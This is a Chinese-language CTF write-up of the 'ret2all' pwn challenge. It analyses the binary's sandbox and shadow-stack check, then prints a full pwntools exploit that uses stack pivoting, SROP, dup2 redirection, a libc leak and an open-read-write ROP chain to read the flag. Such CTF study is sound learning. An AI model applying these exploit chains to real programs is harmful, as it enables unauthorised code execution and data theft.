YX-hueimie师傅的代表作,将栈考到了极致,好题!!!

题目描述

一道溢出的痕,一场检测的困,一次极致的栈,一个落寞的人。落寞的人唱着孤独的题,孤独的题笑着落寞的人。

人知题恐怖,题晓人心毒。这是一道传统pwn题。

作者评语:一件完美的艺术品,葬下了整个栈时代。

无爆破。无后门。最优预期解使用了10次send。

分析

除了canary之外的保护都开启了,拖入ida中看看

init函数

首先看一下init函数,先设置缓冲区,接着再将rread函数的rbp与ret数值存储到了bss段上,使用了mprotect函数设置权限,使得不能修改RBP的值,然后就是开启沙箱,最后关闭标准错误。

关于这个沙箱,禁用了一大坨东西(像什么execve、mprotect等等),特别是read与write,其分支全被禁用了(像什么preadv、pwritev等等),只留下了本体。这里又限制了read函数的第一个参数不能大于等于1,write函数的第一个参数只能为2,由于关闭了标准错误,因此需要使用dup2(1,2)将文件描述符1复制到文件描述符2,即将写入到标准错误的内容重定向到标准输出,相当于2>&1,从而再次调用write函数输出东西。

rread函数

存在栈溢出,并进入shadow函数进行一个检测

shadow函数

发现要求输入的字节中,前0x60的字节为LOVE里面的内容,又不能改RBP与RET的值,因此最后能操作的只有0x18的字节。

题解

分析了相应的函数(确实还是迷迷糊糊的,一步一步做着看吧),关键在rread函数里面怎么操作那0x18个字节。

首先在init函数里面给了我们RBP与RET的值,先接收着,白给的肯定要啊0v0,而且因为开启了PIE保护,还可以通过这个获取基址

io.recvuntil('RBP:0x')
rbp=int(io.recv(12),16)
io.recvuntil('RET:0x')
ret=int(io.recv(12),16)
print(hex(rbp))
print(hex(ret))

addr_base=ret-0x01871

获取了基址后,就可以为所欲为了(bushi。

接着先输入进行gdb调试一下,在上面那根线以上是固定不能改的,在下面那根线画出的就是vuln函数的rbp,因为我们可以操作0x18个字节,刚好可以修改vuln函数的rbp,所以如果我们能够控制该rbp,就能够控制程序流了。然后就是设置一些gadgets,主要是read,便于后续使用。

read = elfbase + 0x182F
read2 = elfbase + 0x1840
read3 = elfbase + 0x183B
leave = elfbase + 0x1852
add_rbp_3d_ebx = elfbase + 0x1252
rbp = add_rbp_3d_ebx + 1
ret = rbp + 1

其中add_rbp_3d_ebx=addr_base+0x01252,指的就是add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax] ; ret,这段指令是由三条指令组成的,首先是将ebx中32位整数值加上内存地址为rbp-0x3d处的32位整数值,并将结果保存到内存地址为rbp-0x3d处,接着就是nop,最后ret。这里主要是可以控制ebx与rbp的值,但具体有什么用,我还不知道,后面再看吧0w0(YX-hueimie师傅的说法是控制偏移的方法)。从rread函数的汇编可以看出,控制rbp,就相当于控制了read函数读的地址。

上面也说了我们只能操作0x18个字节,刚好可以修改vuln函数的rbp,输入完后会执行3次leave;ret,这里用到的就是栈迁移方面的知识,画了个图便于理解(简化了地址,应该没有问题吧0w0)。执行完之后,此时rbp为0x7ffd4274a550,而且会调用read函数,将数据读入到0x7ffd4274a550-0x60的位置。(由于开启了PIE保护,所以后面的地址会不一样0w0)

payload1=b'I love you I feel lonely'*4+p64(RBP)+p64(RET)+p64(RBP+0x10)+p64(read1)+p64(RBP-0x10)
io.send(payload1)

因为在call一个函数时,会push一个返回地址,所以rsp会减去0x8,该图的划线部分就是read函数的返回地址,那么如果修改该返回地址劫持程序流,就可以绕过shadow检测,那么就可以操作更多的字节了,但为什么不直接从rsp指向的位置开始写呢,主要是为了后续栈上的布局,也就是栈风水。

在前面的分析中,我们可以知道这题是打orw,open是正常的,只是read函数只能读0,write只能写2,接下来的操作就是为了打SROP

payload2=p64(0)*7+p64(RBP+0xf0)+p64(read1)+p64(leave)+p64(RBP+0x100)+p64(leave)+p64(RBP-0x18)+p64(leave)+p64(0)+p8(0xec)
io.send(payload2)

先在栈上布局一下,一些东西提前布局好方便后面使用。这段代码里面还是有一些栈迁移方面的东西,最后p8(0xec)是为了修改从而获得syscall。

接着就是布局SROP需要的一些东西了,有一些复杂,具体的可以看看官方给的wp。由于这一段读入会进行shadow检测,因此需要先正常输入再操作。

io.send(b'I love you I feel lonely' * 4 + p64(RBP) + p64(RET) + p64(RBP + 0xf0) + p64(read))
io.send(b'A' * 8 + p64(0) + p64(RBP + 0x30) + p64(RBP + 0x65) + p64(0x6edca) + p64(0x200) + p64(0) + p64(0) + p64(RBP + 0x40) + p64(read2) + p64(0) + p64(0x33) + p64(RBP + 0x150 + 1) + p64(read) + p64(RBP + 0x20) + p64(leave))

从第二行开始就是对应的rdi至err,uc_flags字段需要设置为0。或者一个可读地址,并且这个可读地址的末第3个bit不能为1,cs/gs/fs字段一般设置为0x33,0x22代表的是32位,&fpstate字段需要设置为0。或者一个可读地址,并且该地址满足栈对齐,并且该地址+0x18的位置的值取低32位值后再取高16位值要是0。这一次的SROP主要是控制rbx字段,从而后面好换一个syscall,因为在前面说过有add_rbp_3d_ebx这个gadget,可以控制相应的值,如果我们控制好rbx的值,就可以将前面那个syscall换成syscall;ret。

接着读入15个字节控制rax寄存器,用于后续栈迁移到syscall,再pop rbp;ret执行leave;ret

io.send(b'A' * 7 + p64(rbp)

接着就是dup(1,2),为了能够后面能够成功调用write函数,不断的布局栈上的值、SROP、栈迁移,相关的知识就和前面提及的差不多了,就不再详细赘述了。

#frame = SigreturnFrame()
#frame.rax = 33
#frame.rdi = 1
#frame.rsi = 2
#frame.rdx = 0
#frame.rsp = RBP + 0x28
#frame.rbp = RBP + 0x68
#frame.rip = ret
io.send(p64(leave) + p64(add_rbp_3d_ebx) + p64(rbp) + p64(RBP + 0xa8 + 1) + p64(read) + p64(RBP + 0x20) + p64(leave) + p64(RBP + 0xd0) + p64(read) + p64(0) * 4 + p64(1) + p64(2) + p64(RBP + 0x68) + p64(0) + p64(0) + p64(33) + p64(0) + p64(RBP + 0x28) + p64(ret) + p64(0) + p64(0x33))
sleep(0.1)

io.send(b'A' * 7 + p64(rbp))
sleep(0.1)

#frame = SigreturnFrame()
#frame.rax = 1
#frame.rdi = 2
#frame.rsi = RBP + 0x28
#frame.rdx = 0x200
#frame.rsp = RBP + 0x28
#frame.rbp = RBP + 0xe8
#frame.rip = ret
io.send(p64(rbp) + p64(RBP + 0xd8 + 1) + p64(read) + p64(RBP + 0x20) + p64(leave) + p64(2) + p64(RBP + 0x28) + p64(RBP + 0xe8) + p64(0) + p64(0x200) + p64(1) + p64(0) + p64(RBP + 0x28) + p64(ret) + p64(0) + p64(0x33) + p64(read3))
sleep(0.1)

io.recv()
io.send(b'A' * 7 + p64(rbp))
sleep(0.1)

接着就是ret2libc泄漏libc,就可以随意rop了,最后就是打orw,为了让fd为0,可以先close(0),再open(‘/flag’,0),然后应该就和普通的orw差不多了。

io.send(b'A' * 0xc0 + b'./flag\x00\x00' + p64(rax) + p64(3) + p64(rdi) + p64(0) + p64(syscall) + p64(rax) + p64(2) + p64(rdi) + p64(RBP + 0xe8) + p64(rsi) + p64(0) + p64(syscall) + p64(rax) + p64(0) + p64(rdi) + p64(0) + p64(rsi) + p64(RBP) + p64(syscall) + p64(rax) + p64(1) + p64(rdi) + p64(2) + p64(syscall))

完整的exp

from pwn import*
context(arch='amd64',os='linux')

io=process('ret2all')
#io=remote('challenge.imxbt.cn',31648)
elf=ELF('./ret2all')
libc=ELF('./libc.so.6')

io.recvuntil('0x')
RBP = int(io.recv(12), 16)
print(hex(RBP))
io.recvuntil('0x')
RET = int(io.recv(12), 16)
elfbase = RET - 0x1871
success('elfbase =>> ' + hex(elfbase))

read = elfbase + 0x182F
read2 = elfbase + 0x1840
read3 = elfbase + 0x183B
leave = elfbase + 0x1852
add_rbp_3d_ebx = elfbase + 0x1252
rbp = add_rbp_3d_ebx + 1
ret = rbp + 1

#gdb.attach(io)

io.send(b'I love you I feel lonely' * 4 + p64(RBP) + p64(RET) + p64(RBP + 0x10) + p64(read) + p64(RBP - 0x10))
sleep(0.1)

io.send(p64(0) * 7 + p64(RBP + 0xf0) + p64(read) + p64(leave) + p64(RBP + 0x100) + p64(leave) + p64(RBP - 0x18) + p64(leave) + p64(0) + p8(0xec))
sleep(0.1)

io.send(b'I love you I feel lonely' * 4 + p64(RBP) + p64(RET) + p64(RBP + 0xf0) + p64(read))
sleep(0.1)

gdb.attach(io)

io.send(b'A' * 8 + p64(0) + p64(RBP + 0x30) + p64(RBP + 0x65) + p64(0x6edca) + p64(0x200) + p64(0) + p64(0) + p64(RBP + 0x40) + p64(read2) + p64(0) + p64(0x33) + p64(RBP + 0x150 + 1) + p64(read) + p64(RBP + 0x20) + p64(leave))
sleep(0.1)

io.send(b'A' * 7 + p64(rbp))
sleep(0.1)

io.send(p64(leave) + p64(add_rbp_3d_ebx) + p64(rbp) + p64(RBP + 0xa8 + 1) + p64(read) + p64(RBP + 0x20) + p64(leave) + p64(RBP + 0xd0) + p64(read) + p64(0) * 4 + p64(1) + p64(2) + p64(RBP + 0x68) + p64(0) + p64(0) + p64(33) + p64(0) + p64(RBP + 0x28) + p64(ret) + p64(0) + p64(0x33))
sleep(0.1)

io.send(b'A' * 7 + p64(rbp))
sleep(0.1)

io.send(p64(rbp) + p64(RBP + 0xd8 + 1) + p64(read) + p64(RBP + 0x20) + p64(leave) + p64(2) + p64(RBP + 0x28) + p64(RBP + 0xe8) + p64(0) + p64(0x200) + p64(1) + p64(0) + p64(RBP + 0x28) + p64(ret) + p64(0) + p64(0x33) + p64(read3))
sleep(0.1)

io.recv()
io.send(b'A' * 7 + p64(rbp))
sleep(0.1)

syscall = u64(io.recv(6).ljust(8, b'\x00'))
libcbase = syscall - 0x98fb6
success('libcbase =>> ' + hex(libcbase))
rax = libcbase + 0xdd237
rdi = libcbase + 0x10f75b
rsi = libcbase + 0x110a4d
rbx = libcbase + 0x586e4
mov_rdx_rbx_pop_rbx_pop_r12_pop_rbp = libcbase + 0xb0133

io.send(b'A' * 0xc0 + b'./flag\x00\x00' + p64(rax) + p64(3) + p64(rdi) + p64(0) + p64(syscall) + p64(rax) + p64(2) + p64(rdi) + p64(RBP + 0xe8) + p64(rsi) + p64(0) + p64(syscall) + p64(rax) + p64(0) + p64(rdi) + p64(0) + p64(rsi) + p64(RBP) + p64(syscall) + p64(rax) + p64(1) + p64(rdi) + p64(2) + p64(syscall))
sleep(0.1)

io.interactive()

总结

复现的确实比较爽,也比较久,但学到了很多知识,后面写的确实有点水了,有些也是参考了YX-hueimie师傅的wp(因为知识和前面的差不多,主要就是不断的gdb调试,希望师傅们能谅解)。反正不管那么多,就是一道好题,爽题!!!将栈考到了极致,ret2text、栈迁移、SROP、ret2syscall、ret2libc、栈风水、orw,爽